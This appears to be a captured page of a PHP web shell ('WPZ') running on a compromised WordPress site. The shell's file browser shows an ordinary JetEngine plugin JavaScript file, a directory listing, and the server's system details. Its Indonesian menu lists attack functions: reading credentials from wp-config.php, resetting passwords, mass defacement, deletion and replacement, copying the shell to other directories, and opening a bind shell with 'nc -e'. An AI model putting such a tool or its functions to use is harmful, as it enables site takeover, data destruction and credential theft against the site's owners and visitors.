WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-engine / assets / js / admin / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/assets/js/admin/listings-popup.js (6.81 KB)
(function( $ ) {

	'use strict';

	var JetListings = {

		editorControl: null,
		editButton: null,
		editXHR: null,

		onEditorCreateClick: function( control ) {
			this.openPopup();
			this.editorControl = control;
		},

		init: function() {

			var self      = this,
				$document = $( document );

			$document
				.on( 'click.JetListings', '.page-title-action', self.openPopup )
				.on( 'click.JetListings', '.jet-engine-listing-edit-settings', self.loadEditPopup )
				.on( 'click.JetListings', '.jet-engine-listing-save', self.saveListingSettings )
				.on( 'click.JetListings', '.jet-engine-listing-cancel', self.closePopup )
				.on( 'click.JetListings', '.jet-listings-popup__overlay, .jet-listings-popup__close', self.closePopup );

			if ( window.JetListingsSettings.isAjax ) {
				$document.on( 'submit.JetListings', '#templates_type_form', self.ajaxSubmit );
			}

			if ( window.JetListingsSettings.addNewComponent ) {
				$( '.page-title-action' ).after( window.JetListingsSettings.addNewComponent );
			}

			$( 'body' ).on( 'change', '#listing_source', self.switchListingSources );

			self.applyCustomOptions();

			if ( window.location.hash.includes( '#add_new' ) ) {
				let source      = window.location.hash.replace( '#add_new', '' );
				let defaultArgs = {};

				if ( source ) {
					defaultArgs.listing_source = source.replace( '__', '' );
				}

				self.openPopup( false, defaultArgs );
			}

		},

		applyCustomOptions: function() {

			var $popup = $( '.jet-listings-popup' );

			if ( window.JetListingsSettings.exclude ) {
				for ( var i = 0; i < window.JetListingsSettings.exclude.length; i++ ) {
					$popup.find( '*[name="' + window.JetListingsSettings.exclude[ i ] + '"]' ).closest( '.jet-listings-popup__form-row' ).hide();
				}
			}

			if ( window.JetListingsSettings.button && window.JetListingsSettings.button.css_class ) {
				$popup.find( '#templates_type_submit' ).addClass( window.JetListingsSettings.button.css_class );
			}

		},

		ajaxSubmit: function( event ) {

			event.preventDefault();

			var self = JetListings;

			let formEl = document.getElementById( 'templates_type_form' );
			let formData = new FormData( formEl );

			const values = {};

			for( var data of formData.entries() ) {
				values[ data[0] ] = data[1];
			}

			values['_is_ajax_form'] = true;

			$.ajax( {
				url: formEl.action,
				type: 'POST',
				dataType: 'json',
				data: values,
			} ).done( function( response ) {

				if ( response.success && self.editorControl ) {

					let options = self.editorControl.model.get( 'options' );
					let listingID = response.data.id;

					options[ listingID ] = response.data.title;
					self.editorControl.model.set( 'options', options );
					self.editorControl.setValue( listingID );
					self.editorControl.render();
					self.closePopup();

					let previewWindow = window.elementor.$preview[0].contentWindow;

					previewWindow.elementorCommon.api.internal( 'panel/state-loading' );
					previewWindow.elementorCommon.api.run( 'editor/documents/switch', {
						id: listingID
					} ).then( function() {
						return previewWindow.elementorCommon.api.internal( 'panel/state-ready' );
					} );

				}


			} );

		},

		switchListingSources: function( event ) {

			var $this = $( this );
			JetListings.switchFieldsVisibility( $this );

		},

		switchFieldsVisibility: function( $source ) {

			let val  = $source.find( 'option:selected' ).val();
			let $row = $source.closest( '.jet-listings-popup__form-row' );

			$row.siblings( '.jet-template-listing' ).removeClass( 'jet-template-act' );
			$row.siblings( '.jet-template-' + val ).addClass( 'jet-template-act' );
		},

		saveListingSettings: function() {

			let $this    = $( this );
			let formEl   = $this.closest( 'form' )[0];

			if ( window.JetPlugins ) {
				formEl = window.JetPlugins.hooks.applyFilters( 'jetEngine.listing.formEl', formEl, $this );
			}

			const formData = new FormData( formEl );
			const values   = {};

			for( var data of formData.entries() ) {
				values[ data[0] ] = data[1];
			}

			values._listing_id  = $this.data( 'listing-id' );
			values._open_editor = $this.hasClass( 'open-editor' );
			values.action       = 'jet_engine_save_listing_settings';
			values._nonce       = window.JetListingsSettings._nonce;

			$this.attr( 'disabled', 'disabled' );
			$this.siblings().attr( 'disabled', 'disabled' );

			$.ajax( {
				url: ajaxurl,
				type: 'POST',
				dataType: 'json',
				data: values
			} ).done( function( response ) {

				if ( response.success && response.data.redirect ) {
					window.location = response.data.redirect;
				} else {
					window.location.reload();
				}

			} ).fail( function() {
				$this.attr( 'disabled', false );
				$this.siblings().attr( 'disabled', false );
			} );

		},

		loadEditPopup: function( event ) {

			if ( JetListings.editButton ) {
				JetListings.editButton.removeClass( 'jet-engine-listing-edit-settings--is-loading' );
			}

			if ( JetListings.editXHR ) {
				JetListings.editXHR.abort();
			}

			JetListings.editButton = $( this );

			JetListings.editButton.addClass( 'jet-engine-listing-edit-settings--is-loading' );

			JetListings.editXHR = $.ajax( {
				url: ajaxurl,
				type: 'POST',
				dataType: 'json',
				data: {
					action: 'jet_engine_get_edit_listing_popup',
					listing_id: JetListings.editButton.data( 'listing-id' ),
					_nonce: window.JetListingsSettings._nonce,
				}
			} ).done( function( response ) {

				if ( response.success ) {
					let $popup = $( response.data );
					$popup.addClass( 'jet-listings-popup-active' );
					JetListings.switchFieldsVisibility( $popup.find( '#listing_source' ) );
					$( 'body' ).append( $popup );
				}

				JetListings.editButton.removeClass( 'jet-engine-listing-edit-settings--is-loading' );
				JetListings.editXHR = null;
				JetListings.editButton = null;

			} );

		},

		openPopup: function( event, defaultArgs ) {

			if ( event ) {
				event.preventDefault();
			}

			let $popup = $( '.jet-listings-popup.jet-listings-popup--new' );

			if ( window.JetPlugins ) {
				$popup = window.JetPlugins.hooks.applyFilters( 'jetEngine.listing.popup', $popup, event, defaultArgs );
			}

			$popup.first().addClass( 'jet-listings-popup-active' );

			if ( defaultArgs ) {
				for ( const arg in defaultArgs ) {
					$( '#' + arg ).val( defaultArgs[ arg ] ).trigger( 'change' );
				}
			}

		},

		closePopup: function() {

			let $this = $( this );
			let $popup = $this.closest( '.jet-listings-popup' );

			if ( ! $popup.length ) {
				$popup = $( '.jet-listings-popup' );
			}

			if ( $popup.hasClass( 'jet-listings-popup--new' )
				|| $popup.hasClass( 'jet-listings-popup--keep-alive' )
			) {
				$popup.removeClass( 'jet-listings-popup-active' );
				window.history.pushState( "", document.title, window.location.pathname + window.location.search );
			} else {
				$popup.remove();
			}

		}

	};

	JetListings.init();

	window.JetListings = JetListings;

})( jQuery );
namawaktuukuranownerpermaksi
..
blocks-views/ 2026-07-21 14:15833.59 KB 76129f60960:kundendxwrx-r--r
dashboard/ 2026-07-21 14:1552.19 KB 76129f60960:kundendxwrx-r--r
elementor-views/ 2026-07-21 14:156.15 KB 76129f60960:kundendxwrx-r--r
seo/ 2026-07-21 14:155.86 KB 76129f60960:kundendxwrx-r--r
forms-gateways.js 2026-07-21 14:152.1 KB 76129f60960:kunden-xw-x-----
edt
forms.js 2026-07-21 14:1524.8 KB 76129f60960:kunden-xw-x-----
edt
icons.json 2026-07-21 14:1582.83 KB 76129f60960:kunden-xw-x-----
edt
listings-popup.js 2026-07-21 14:156.81 KB 76129f60960:kunden-xw-x-----
edt
meta-boxes.js 2026-07-21 14:155.82 KB 76129f60960:kunden-xw-x-----
edt
register-form-hooks.js 2026-07-21 14:15741 B 76129f60960:kunden-xw-x-----
edt
tools.js 2026-07-21 14:151.01 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/assets/js/admin
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK